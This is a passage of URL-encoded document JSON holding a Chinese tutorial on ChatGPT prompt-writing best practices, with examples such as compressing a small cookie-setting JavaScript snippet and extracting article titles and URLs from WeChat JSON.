E6%B3%A8%E6%84%8F%E6%8E%A7%E5%88%B6%E9%A5%AE%E9%85%92%E5%92%8C%E5%90%B8%E7%83%9F%E7%AD%89%E4%B8%8D%E8%89%AF%E4%B9%A0%E6%83%AF%3B%20%E5%87%8F%E8%BD%BB%E5%BF%83%E7%90%86%E5%8E%8B%E5%8A%9B%2C%E5%AD%A6%E4%BC%9A%E6%94%BE%E6%9D%BE%E5%92%8C%E8%87%AA%E6%88%91%E8%B0%83%E8%8A%82%3B%20%E5%9D%9A%E6%8C%81%E6%AF%8F%E5%91%A8%E8%BF%9B%E8%A1%8C%E4%B8%80%E5%88%B0%E4%B8%A4%E6%AC%A1%E5%85%A8%E8%BA%AB%E6%8C%89%E6%91%A9%2C%E6%9C%89%E5%8A%A9%E4%BA%8E%E4%BF%83%E8%BF%9B%E8%A1%80%E6%B6%B2%E5%BE%AA%E7%8E%AF%E5%92%8C%E4%BB%A3%E8%B0%A2.%20%E5%9C%A8%E8%BF%9B%E8%A1%8C%E5%87%8F%E8%82%A5%E8%BF%87%E7%A8%8B%E4%B8%AD%2C%E8%A6%81%E6%B3%A8%E6%84%8F%E8%BA%AB%E4%BD%93%E7%9A%84%E5%8F%8D%E5%BA%94%2C%E5%A6%82%E6%9E%9C%E5%87%BA%E7%8E%B0%E8%BA%AB%E4%BD%93%E4%B8%8D%E9%80%82%2C%E5%BA%94%E5%8F%8A%E6%97%B6%E8%B0%83%E6%95%B4%E8%87%AA%E5%B7%B1%E7%9A%84%E8%BF%90%E5%8A%A8%E5%92%8C%E9%A5%AE%E9%A3%9F%E8%AE%A1%E5%88%92.%E5%87%8F%E8%82%A5%E7%9A%84%E5%85%B3%20%E9%94%AE%E6%98%AF%E5%9D%9A%E6%8C%81%2C%E5%8F%AA%E8%A6%81%E4%BD%A0%E8%83%BD%E5%A4%9F%E5%9D%9A%E6%8C%81%E4%B8%8B%E5%8E%BB%2C%E4%BD%A0%E4%B8%80%E5%AE%9A%E8%83%BD%E5%A4%9F%E6%88%90%E5%8A%9F%E7%98%A6%E4%B8%8B%E6%9D%A5.%E5%8A%A0%E6%B2%B9!%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f5f4f3%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u76dc8213%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u1322e240%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%9C%A8%E8%BF%99%E7%A7%8D%E6%83%85%E5%86%B5%E4%B8%8B%EF%BC%8CChatGPT%E6%9C%89%E5%8F%AF%E8%83%BD%EF%BC%8C%E6%B3%A8%E6%84%8F%E6%98%AF%E6%9C%89%E5%8F%AF%E8%83%BD%EF%BC%8C%E4%BC%9A%E7%94%9F%E6%88%90%E5%B8%A6%E6%9C%89%E5%BC%BA%E7%83%88%E7%9A%84%E4%B8%AA%E4%BA%BA%E9%A3%8E%E6%A0%BC%E7%9A%84%E5%8F%8D%E9%A6%88%E5%86%85%E5%AE%B9%E3%80%82%E8%80%8C%E8%BF%99%E9%83%A8%E5%88%86%E5%86%85%E5%AE%B9%E4%B8%80%E8%88%AC%E6%9D%A5%E8%AF%B4%E6%9C%89%E6%95%88%E5%BA%A6%E4%BC%9A%E6%9B%B4%E9%AB%98%EF%BC%8C%E5%9B%A0%E4%B8%BA%E4%BB%96%E5%BE%88%E6%9C%89%E5%8F%AF%E8%83%BD%E6%98%AF%E5%9F%BA%E4%BA%8E%E5%B7%B2%E6%9C%89%E7%9A%84%E5%86%85%E5%AE%B9%E7%94%9F%E6%88%90%E7%9A%84%E3%80%82%E4%BD%86%E8%BF%99%E5%B9%B6%E4%B8%8D%E7%BB%9D%E5%AF%B9%EF%BC%8C%E5%9B%A0%E4%B8%BAChatGPT%E8%BF%98%E6%B2%A1%E6%9C%89%E7%9C%9F%E6%AD%A3%E6%84%8F%E4%B9%89%E4%B8%8A%E8%81%94%E7%BD%91%E3%80%82%E4%B8%8D%E8%BF%87%E4%BD%BF%E7%94%A8%E8%BF%99%E7%A7%8D%E6%9B%B4%E8%AF%A6%E7%BB%86%E7%9A%84%E6%89%AE%E6%BC%94%E6%B3%95%E5%9C%A8%E6%9F%90%E4%BA%9B%E6%83%85%E5%86%B5%E4%B8%8B%E4%BC%9A%E8%AE%A9%E4%BD%A0%E7%9A%84%E7%BB%93%E6%9E%9C%E6%9B%B4%E6%9C%89%E6%95%88%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22DmZ0U%22%2C%22name%22%3A%22h1%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u793cb51c%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22Openai%20%E7%9A%84%E5%AE%98%E6%96%B9%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u41a49abe%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u8ddc76b6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E8%BF%99%E9%87%8C%E6%88%91%E4%BB%AC%E4%B9%9F%E4%B8%80%E8%B5%B7%E7%9C%8B%E4%B8%80%E7%9C%8Bopenai%E5%85%AC%E5%BC%80%E7%9A%84prompt%E6%9C%80%E4%BD%B3%E5%AE%9E%E8%B7%B5%EF%BC%8C%E9%87%8C%E9%9D%A2%E5%85%B6%E5%AE%9E%E4%B9%9F%E6%98%AF%E6%8F%90%E5%88%B0%E4%BA%86%E4%B8%80%E4%BA%9B%E6%88%91%E4%BB%AC%E7%86%9F%E7%9F%A5%E7%9A%84%EF%BC%8C%E8%BF%99%E9%87%8C%E6%88%91%E6%8F%90%E5%8F%96%E5%87%A0%E4%B8%AA%E6%AF%94%E8%BE%83%E5%85%B3%E9%94%AE%E7%9A%84%E7%82%B9%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ud1dcad91%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u5c4088dc%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%221%E3%80%81%E6%8A%8A%E6%8C%87%E4%BB%A4%E6%94%BE%E5%9C%A8Prompt%E7%9A%84%E5%BC%80%E5%A4%B4%EF%BC%8C%E5%B9%B6%E4%B8%94%E7%94%A8%23%23%23%E6%88%96%E8%80%85%5C%22%5C%22%5C%22%E6%9D%A5%E5%88%86%E5%89%B2%E6%8C%87%E4%BB%A4%E5%92%8C%E4%B8%8A%E4%B8%8B%E6%96%87%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u726623a7%22%2C%22name%22%3A%22hole%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22isGt1%22%2C%22name%22%3A%22codeblock%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22mode%22%3A%22plain%22%2C%22code%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E6%8A%8A%E4%B8%8B%E9%9D%A2%E8%BF%99%E6%AE%B5%E4%BB%A3%E7%A0%81%E5%8E%8B%E7%BC%A9%E5%88%B0%E4%B8%80%E8%A1%8C%5Cn%23%23%23%5Cnvar%20cookieStr%20%3D%20&#39;ppmsglist_action_3907326541%3Dcard&#39;%3B%5Cnvar%20cookieArr%20%3D%20cookieStr.split(&#39;%3B%20&#39;)%3B%5Cnfor%20(var%20i%20%3D%200%3B%20i%20%3C%20cookieArr.length%3B%20i%2B%2B)%20%7B%5Cn%5Ctvar%20cookie%20%3D%20cookieArr%5Bi%5D%3B%5Cn%5Ctvar%20arr%20%3D%20cookie.split(&#39;%3D&#39;)%3B%5Cn%5Ctdocument.cookie%20%3D%20arr%5B0%5D%20%2B%20&#39;%3D&#39;%20%2B%20arr%5B1%5D%3B%5Cn%7D%22%2C%22autoWrap%22%3Afalse%2C%22lineNumbers%22%3Atrue%2C%22heightLimit%22%3Atrue%2C%22collapsed%22%3Afalse%2C%22hideToolbar%22%3Atrue%2C%22name%22%3A%22%22%2C%22tabSize%22%3Anull%2C%22indentWithTab%22%3Afalse%2C%22lightLines%22%3A%5B%5D%2C%22foldLines%22%3A%5B%5D%2C%22theme%22%3A%22Github%20Light%22%2C%22__spacing%22%3A%22both%22%7D%2C%22cardType%22%3A%22block%22%7D%2C%22cardType%22%3A%22block%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ucd6c638a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22ue2b5205d%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%222%E3%80%81%E5%AF%B9%E5%B8%8C%E6%9C%9B%E5%BE%97%E5%88%B0%E7%9A%84%E5%86%85%E5%AE%B9%E7%9A%84%E8%83%8C%E6%99%AF%E3%80%81%E7%BB%93%E6%9E%9C%E3%80%81%E9%95%BF%E5%BA%A6%E3%80%81%E6%A0%BC%E5%BC%8F%E3%80%81%E9%A3%8E%E6%A0%BC%E5%B0%BD%E5%8F%AF%E8%83%BD%E7%9A%84%E8%AF%A6%E7%BB%86%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u28bd368a%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22CbHjn%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682334845486-95ae0cac-1fb7-4590-99be-d8d85f676852.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A874%2C%22height%22%3A266%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A60932%2C%22width%22%3A794.545437324146%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u53c1363d-d02b-43b0-b1e4-8a6fe31fd89%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A191.4564%2C%22y%22%3A62.081303%2C%22width%22%3A647.8958299999999%2C%22height%22%3A16.265651%2C%22text%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E5%86%99%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E6%91%98%E8%A6%81%2C%E4%B8%80%E6%AE%B5100%E5%AD%97%E7%9A%84%E6%80%BB%E7%BB%93%2C%E7%94%A8%E4%BA%8E%E6%8F%8F%E8%BF%B0CHATGPT%2C%E8%A6%81%E7%AE%80%E5%8D%95%E7%9B%B4%E6%8E%A5%E7%9A%84%E8%AE%B2%E5%87%BACHATGPT%E7%9A%84%E4%BC%98%E5%8A%BF%E5%92%8C%E6%84%8F%E4%B9%89.%22%7D%2C%7B%22x%22%3A15.878535%2C%22y%22%3A165.21483%2C%22width%22%3A649.036325%2C%22height%22%3A18.60127%2C%22text%22%3A%22CHATGPT%E6%98%AF%E4%B8%80%E7%A7%8D%E5%9F%BA%E4%BA%8E%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8A%80%E6%9C%AF%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%9B%A0%E5%85%B6%E5%85%B7%E5%A4%87%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%90%86%E8%A7%A3%E8%83%BD%E5%8A%9B%E5%92%8C%E4%B8%AA%E6%80%A7%E5%8C%96%E5%9B%9E%E5%A4%8D%E5%8A%9F%E8%83%BD%E8%80%8C%22%7D%2C%7B%22x%22%3A16.096708%2C%22y%22%3A188.98978%2C%22width%22%3A648.874362%2C%22height%22%3A15.478129999999993%2C%22text%22%3A%22%E5%A4%87%E5%8F%97%E6%AC%A2%E8%BF%8E.%E7%9B%B8%E6%AF%94%E4%BC%A0%E7%BB%9F%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2CCHATGPT%E5%80%9F%E5%8A%A9%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95%2C%E8%83%BD%E5%A4%9F%E8%87%AA%E4%B8%BB%E5%AD%A6%E4%B9%A0%E5%92%8C%E4%B8%8D%E6%96%AD%E4%BC%98%E5%8C%96%E5%9B%9E%E5%A4%8D%E7%AD%96%E8%B7%AF%2C%E4%BB%8E%22%7D%2C%7B%22x%22%3A15.995253%2C%22y%22%3A209.98447%2C%22width%22%3A648.927297%2C%22height%22%3A15.085840000000019%2C%22text%22%3A%22%E8%80%8C%E5%AE%9E%E7%8E%B0%E6%9B%B4%E5%8A%A0%E6%99%BA%E8%83%BD%E5%8C%96%E5%92%8C%E8%87%AA%E7%84%B6%E5%8C%96%E7%9A%84%E4%BA%A4%E4%BA%92%E4%BD%93%E9%AA%8C.%E5%85%B6%E6%84%8F%E4%B9%89%E5%9C%A8%E4%BA%8E%2CCHATGPT%E5%8F%AF%E4%BB%A5%E5%B9%BF%E6%B3%9B%E5%BA%94%E7%94%A8%E4%BA%8E%E5%90%84%E7%A7%8D%E9%A2%86%E5%9F%9F%2C%E4%BE%8B%E5%A6%82%E5%AE%A2%E6%9C%8D%2C%E6%95%99%22%7D%2C%7B%22x%22%3A15.473346%2C%22y%22%3A231.69069%2C%22width%22%3A525.367054%2C%22height%22%3A14.19502%2C%22text%22%3A%22%E8%82%B2%2C%E5%92%A8%E8%AF%A2%E7%AD%89%2C%E5%9C%A8%E6%8F%90%E9%AB%98%E5%8A%9E%E5%85%AC%E6%95%88%E7%8E%87%2C%E4%BC%98%E5%8C%96%E7%94%A8%E6%88%B7%E4%BD%93%E9%AA%8C%2C%E6%94%B9%E8%BF%9B%E6%9C%8D%E5%8A%A1%E8%B4%A8%E9%87%8F%E7%AD%89%E6%96%B9%E9%9D%A2%E5%85%B7%E6%9C%89%E9%87%8D%E8%A6%81%E7%9A%84%E4%BD%9C%E7%94%A8.%22%7D%5D%2C%22search%22%3A%22%E6%88%91%E9%9C%80%E8%A6%81%E5%86%99%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E6%91%98%E8%A6%81%2C%E4%B8%80%E6%AE%B5100%E5%AD%97%E7%9A%84%E6%80%BB%E7%BB%93%2C%E7%94%A8%E4%BA%8E%E6%8F%8F%E8%BF%B0CHATGPT%2C%E8%A6%81%E7%AE%80%E5%8D%95%E7%9B%B4%E6%8E%A5%E7%9A%84%E8%AE%B2%E5%87%BACHATGPT%E7%9A%84%E4%BC%98%E5%8A%BF%E5%92%8C%E6%84%8F%E4%B9%89.%20CHATGPT%E6%98%AF%E4%B8%80%E7%A7%8D%E5%9F%BA%E4%BA%8E%E4%BA%BA%E5%B7%A5%E6%99%BA%E8%83%BD%E6%8A%80%E6%9C%AF%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2C%E5%9B%A0%E5%85%B6%E5%85%B7%E5%A4%87%E5%BC%BA%E5%A4%A7%E7%9A%84%E8%87%AA%E7%84%B6%E8%AF%AD%E8%A8%80%E7%90%86%E8%A7%A3%E8%83%BD%E5%8A%9B%E5%92%8C%E4%B8%AA%E6%80%A7%E5%8C%96%E5%9B%9E%E5%A4%8D%E5%8A%9F%E8%83%BD%E8%80%8C%20%E5%A4%87%E5%8F%97%E6%AC%A2%E8%BF%8E.%E7%9B%B8%E6%AF%94%E4%BC%A0%E7%BB%9F%E7%9A%84%E8%81%8A%E5%A4%A9%E6%9C%BA%E5%99%A8%E4%BA%BA%2CCHATGPT%E5%80%9F%E5%8A%A9%E6%B7%B1%E5%BA%A6%E5%AD%A6%E4%B9%A0%E7%AE%97%E6%B3%95%2C%E8%83%BD%E5%A4%9F%E8%87%AA%E4%B8%BB%E5%AD%A6%E4%B9%A0%E5%92%8C%E4%B8%8D%E6%96%AD%E4%BC%98%E5%8C%96%E5%9B%9E%E5%A4%8D%E7%AD%96%E8%B7%AF%2C%E4%BB%8E%20%E8%80%8C%E5%AE%9E%E7%8E%B0%E6%9B%B4%E5%8A%A0%E6%99%BA%E8%83%BD%E5%8C%96%E5%92%8C%E8%87%AA%E7%84%B6%E5%8C%96%E7%9A%84%E4%BA%A4%E4%BA%92%E4%BD%93%E9%AA%8C.%E5%85%B6%E6%84%8F%E4%B9%89%E5%9C%A8%E4%BA%8E%2CCHATGPT%E5%8F%AF%E4%BB%A5%E5%B9%BF%E6%B3%9B%E5%BA%94%E7%94%A8%E4%BA%8E%E5%90%84%E7%A7%8D%E9%A2%86%E5%9F%9F%2C%E4%BE%8B%E5%A6%82%E5%AE%A2%E6%9C%8D%2C%E6%95%99%20%E8%82%B2%2C%E5%92%A8%E8%AF%A2%E7%AD%89%2C%E5%9C%A8%E6%8F%90%E9%AB%98%E5%8A%9E%E5%85%AC%E6%95%88%E7%8E%87%2C%E4%BC%98%E5%8C%96%E7%94%A8%E6%88%B7%E4%BD%93%E9%AA%8C%2C%E6%94%B9%E8%BF%9B%E6%9C%8D%E5%8A%A1%E8%B4%A8%E9%87%8F%E7%AD%89%E6%96%B9%E9%9D%A2%E5%85%B7%E6%9C%89%E9%87%8D%E8%A6%81%E7%9A%84%E4%BD%9C%E7%94%A8.%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23f8f7f5%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ua7e7eb47%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u933272b6%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%223%E3%80%81%E9%80%9A%E8%BF%87%E7%A4%BA%E4%BE%8B%E9%98%90%E8%BF%B0%E6%89%80%E9%9C%80%E7%9A%84%E8%BE%93%E5%87%BA%E6%A0%BC%E5%BC%8F%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22u8cd3b067%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22text%22%2C%22id%22%3A%22u4e11d0d4%22%2C%22name%22%3A%22%23text%22%2C%22attrs%22%3A%7B%7D%2C%22data%22%3A%22%E5%85%B6%E5%AE%9E%E4%B9%9F%E5%BE%88%E5%A5%BD%E7%90%86%E8%A7%A3%EF%BC%8C%E4%BD%A0%E5%8F%AF%E4%BB%A5%E7%94%A8%E4%B8%80%E4%BA%9B%E8%8C%83%E4%BE%8B%E6%9D%A5%E8%A1%A8%E8%BE%BE%E4%BD%A0%E6%83%B3%E8%A6%81%E7%9A%84%E5%86%85%E5%AE%B9%EF%BC%8C%E6%9D%A5%E5%B8%AE%E5%8A%A9chatgpt%E7%9F%AB%E6%AD%A3%E7%BB%93%E6%9E%9C%E3%80%82%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22uddeab848%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22FtNLc%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682335536301-5ff9daeb-cc15-48b3-b8b2-9c07d205eb7c.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A866%2C%22height%22%3A287%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A58183%2C%22width%22%3A787.2727102090508%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22u4ef00f4d-c427-4d04-b3b6-894494e5518%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A181.11386%2C%22y%22%3A54.89255%2C%22width%22%3A264.25217000000004%2C%22height%22%3A14.947090000000003%2C%22text%22%3A%22%E6%8C%89%E7%85%A7%E4%B8%8B%E9%9D%A2%E7%9A%84%E6%A0%BC%E5%BC%8F%E6%8F%90%E5%8F%96%E4%B8%8B%E9%9D%A2%E5%86%85%E5%AE%B9%E7%9A%84%E6%A0%87%E9%A2%98%E5%92%8CURL.%22%7D%2C%7B%22x%22%3A181.842%2C%22y%22%3A92.62205%2C%22width%22%3A34.666589999999985%2C%22height%22%3A14.900639999999996%2C%22text%22%3A%22%E6%A0%BC%E5%BC%8F%3A%22%7D%2C%7B%22x%22%3A181.76697%2C%22y%22%3A113.05238%2C%22width%22%3A60.17235000000002%2C%22height%22%3A14.107844999999998%2C%22text%22%3A%22%E6%A0%87%E9%A2%98-URL%22%7D%2C%7B%22x%22%3A182.32597%2C%22y%22%3A150.17636%2C%22width%22%3A34.41351999999998%2C%22height%22%3A14.736160000000012%2C%22text%22%3A%22%E5%86%85%E5%AE%B9%3A%22%7D%2C%7B%22x%22%3A181.61273%2C%22y%22%3A171.12425%2C%22width%22%3A659.11617%2C%22height%22%3A15.386099999999999%2C%22text%22%3A%22%5C%22APP_MSG-CNT%5C%22%3A196%5C%22APP-MSG%20LIST%5C%22%3BI%5C%22AID%5C%22%3A%5C%222247492487_1%5C%22%5C%22ALBUM%20ID%5C%22%5C%22%5C%22%5C%22APPMSG%20ALBUM%20INFOS%5C%22%22%7D%2C%7B%22x%22%3A182.94385%2C%22y%22%3A192.42117%2C%22width%22%3A658.84009%2C%22height%22%3A15.67858000000001%2C%22text%22%3A%220%2C%5C%22APPMSGID%5C%22%3A2247492487%5C%22%20CHECKING%5C%220%2C&#39;COPYRIGHT%20TYPE%5C%22%3A%5C%22COVER%5C%22%3A%5C%22HTTPS%2F%2FMMBIZ%3A%22%7D%2C%7B%22x%22%3A181.22365%2C%22y%22%3A213.99715%2C%22width%22%3A659.20592%2C%22height%22%3A16.659019999999998%2C%22text%22%3A%22JPG%2FAWAZUT3IEXOBIBMYJQOMI3S3TQTX8VAZUTHGAMOEMNI3D7XKZECSJIR3WOQ9ZZEDCUGMDGTEA5T9B%22%7D%2C%7B%22x%22%3A183.37157%2C%22y%22%3A233.60326%2C%22width%22%3A657.05269%2C%22height%22%3A15.435649999999981%2C%22text%22%3A%22OZHILLWGA%2FO%3FWX%20FMTJPEG%5C%22%5C%22CREATE%20TIME%5C%22%3A16812445%5C%22DIGEST%5C%22%3A%5C%22%E6%83%B3%E8%A6%81%E6%88%90%E4%B8%BA%E6%9C%80%E5%8E%89%E5%AE%B3%E7%9A%84%E7%99%BD%E5%B8%BD%E5%AD%90%2C%E5%94%AF%E6%9C%89%E6%8C%81%E4%B9%8B%E4%BB%A5%22%7D%2C%7B%22x%22%3A182.8675%2C%22y%22%3A254.2175%2C%22width%22%3A170.45162%2C%22height%22%3A16.51494999999997%2C%22text%22%3A%22%E6%81%92%E7%9A%84%E5%AD%A6%E4%B9%A0%E5%92%8C%E5%8D%83%E7%99%BE%E6%AC%A1%E5%AE%9E%E6%88%98%E7%9A%84%E9%94%A4%22%7D%2C%7B%22x%22%3A177.64044%2C%22y%22%3A273.57523%2C%22width%22%3A398.81096%2C%22height%22%3A15.610810000000015%2C%22text%22%3A%22%E7%82%BC.%5C%22%5C%22HAS%20RED%20PACKET%20COVER%5C%22.O%5C%22IS%20NAY%20SUBSCRIBE%5C%22.O%5C%22ITEM%20S%22%7D%2C%7B%22x%22%3A567.356%2C%22y%22%3A275.40866%2C%22width%22%3A271.1721%2C%22height%22%3A12.341139999999996%2C%22text%22%3A%22M%20SHOW%20TYNE%5C%22.0%5C%22ITEMIDX%5C%22.1%5C%22LINK%5C%22.%5C%22HTTP%3A%2F%2F%22%7D%5D%2C%22search%22%3A%22%E6%8C%89%E7%85%A7%E4%B8%8B%E9%9D%A2%E7%9A%84%E6%A0%BC%E5%BC%8F%E6%8F%90%E5%8F%96%E4%B8%8B%E9%9D%A2%E5%86%85%E5%AE%B9%E7%9A%84%E6%A0%87%E9%A2%98%E5%92%8CURL.%20%E6%A0%BC%E5%BC%8F%3A%20%E6%A0%87%E9%A2%98-URL%20%E5%86%85%E5%AE%B9%3A%20%5C%22APP_MSG-CNT%5C%22%3A196%5C%22APP-MSG%20LIST%5C%22%3BI%5C%22AID%5C%22%3A%5C%222247492487_1%5C%22%5C%22ALBUM%20ID%5C%22%5C%22%5C%22%5C%22APPMSG%20ALBUM%20INFOS%5C%22%200%2C%5C%22APPMSGID%5C%22%3A2247492487%5C%22%20CHECKING%5C%220%2C&#39;COPYRIGHT%20TYPE%5C%22%3A%5C%22COVER%5C%22%3A%5C%22HTTPS%2F%2FMMBIZ%3A%20JPG%2FAWAZUT3IEXOBIBMYJQOMI3S3TQTX8VAZUTHGAMOEMNI3D7XKZECSJIR3WOQ9ZZEDCUGMDGTEA5T9B%20OZHILLWGA%2FO%3FWX%20FMTJPEG%5C%22%5C%22CREATE%20TIME%5C%22%3A16812445%5C%22DIGEST%5C%22%3A%5C%22%E6%83%B3%E8%A6%81%E6%88%90%E4%B8%BA%E6%9C%80%E5%8E%89%E5%AE%B3%E7%9A%84%E7%99%BD%E5%B8%BD%E5%AD%90%2C%E5%94%AF%E6%9C%89%E6%8C%81%E4%B9%8B%E4%BB%A5%20%E6%81%92%E7%9A%84%E5%AD%A6%E4%B9%A0%E5%92%8C%E5%8D%83%E7%99%BE%E6%AC%A1%E5%AE%9E%E6%88%98%E7%9A%84%E9%94%A4%20%E7%82%BC.%5C%22%5C%22HAS%20RED%20PACKET%20COVER%5C%22.O%5C%22IS%20NAY%20SUBSCRIBE%5C%22.O%5C%22ITEM%20S%20M%20SHOW%20TYNE%5C%22.0%5C%22ITEMIDX%5C%22.1%5C%22LINK%5C%22.%5C%22HTTP%3A%2F%2F%22%2C%22crop%22%3A%5B0%2C0%2C1%2C1%5D%2C%22showTitle%22%3Afalse%2C%22title%22%3A%22%22%2C%22rotation%22%3A0%2C%22__spacing%22%3A%22both%22%2C%22averageHue%22%3A%22%23e0f1e8%22%7D%2C%22cardType%22%3A%22inline%22%7D%2C%22cardType%22%3A%22inline%22%7D%5D%7D%2C%7B%22type%22%3A%22element%22%2C%22id%22%3A%22ufc1965b5%22%2C%22name%22%3A%22p%22%2C%22attrs%22%3A%7B%7D%2C%22children%22%3A%5B%7B%22type%22%3A%22card%22%2C%22id%22%3A%22k97Ye%22%2C%22name%22%3A%22image%22%2C%22attrs%22%3A%7B%22value%22%3A%7B%22src%22%3A%22https%3A%2F%2Fcdn.nlark.com%2Fyuque%2F0%2F2023%2Fpng%2F26687441%2F1682335543484-60940a89-2cac-4d8d-9667-8c14a397e52d.png%22%2C%22original%22%3A%7B%22type%22%3A%22binary%22%2C%22from%22%3A%22paste%22%2C%22ratio%22%3A1.100000023841858%2C%22width%22%3A768%2C%22height%22%3A146%7D%2C%22name%22%3A%22image.png%22%2C%22size%22%3A31444%2C%22width%22%3A698.1818030491352%2C%22status%22%3A%22done%22%2C%22style%22%3A%22none%22%2C%22taskId%22%3A%22ua0288ffd-dd6f-4cf7-875a-17d197e23e7%22%2C%22clientId%22%3A%22udf60d6f4-671e-4%22%2C%22linkExternal%22%3Atrue%2C%22ocr%22%3A%5B%7B%22x%22%3A582.22864%2C%22y%22%3A32.304363%2C%22width%22%3A92.48965999999996%2C%22height%22%3A13.131042999999998%2C%22text%22%3A%22%E5%A4%8D%E5%88%B6%E9%87%8D%E8%AF%95%E5%88%A0%E9%99%A4%22%7D%2C%7B%22x%22%3A17.521832%2C%22y%22%3A66.13102%2C%22width%22%3A447.000538%2C%22height%22%3A17.690669999999997%2C%22text%22%3A%22%E6%88%90%E4%B8%BA%E6%9C%80%E5%8E%89%E5%AE%B3%E7%9A%84%E7%99%BD%E5%B8%BD%E9%BB%91%E5%AE%A2%2C%E9%9C%80%E8%A6%81%E7%BB%8F%E5%8E%86%E4%BB%80%E4%B9%88%3F-HTTP%3A%2F%2FMP.WEIXIN.QQ.COM%2FS%3F%22%7D%2C%7B%22x%22%3A31.267202%2C%22y%22%3A88.62973%2C%22width%22%3A646.010498%2C%22height%22%3A15.31625000000001%2C%22text%22%3A%22BIZ-M